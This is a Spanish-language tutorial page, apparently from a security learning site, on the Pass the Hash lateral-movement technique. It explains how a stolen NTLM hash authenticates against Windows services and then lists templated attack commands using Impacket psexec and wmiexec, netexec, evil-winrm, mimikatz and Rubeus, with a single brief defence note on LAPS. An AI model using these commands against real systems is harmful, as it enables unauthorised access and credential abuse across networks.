Movimiento lateral

Pass the Hash

Cómo un atacante usa un hash NTLM robado para autenticarse como otro usuario sin conocer la contraseña.

Qué es

Pass the Hash usa un hash NTLM robado para autenticarse como un usuario. No necesita la contraseña en texto plano. Con el hash basta para entrar a cualquier servicio que acepte NTLM.

Cómo funciona

NTLM prueba la identidad con un reto y una respuesta. El cliente calcula la respuesta a partir del hash NT, no de la contraseña. El servidor no distingue al usuario legítimo del atacante con el hash robado: el cálculo es idéntico. Quien tiene el hash responde cualquier reto y autentica de una vez, sin descifrar nada. El hash sale de la memoria de LSASS, de la base SAM local o de NTDS.dit en un Domain Controller.

Diagrama

Comandos

Autenticar por SMB y abrir una shell con Impacket:

psexec.py -hashes :<HASH> <DOMAIN>/<USER>@<HOST>

Ejecutar comandos por WMI, sin servicio nuevo:

wmiexec.py -hashes :<HASH> <DOMAIN>/<USER>@<HOST>

Validar el hash contra varios hosts con netexec:

nxc smb <IP> -u <USER> -H <HASH> --local-auth

Sesión remota de PowerShell por WinRM:

evil-winrm -i <IP> -u <USER> -H <HASH>

Inyectar el hash en una sesión de Windows con mimikatz:

sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<HASH> /run:cmd.exe

Overpass the Hash: pedir un TGT Kerberos con el hash usando Rubeus:

Rubeus.exe asktgt /user:<USER> /domain:<DOMAIN> /rc4:<HASH> /ptt

Cómo defenderse

LAPS da a cada host una contraseña de administrador local única: un solo hash deja de abrir toda la red.

Siguiente

Puedes seguir leyendo aquí:

Movimiento lateralMovimiento lateral con WinRM

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.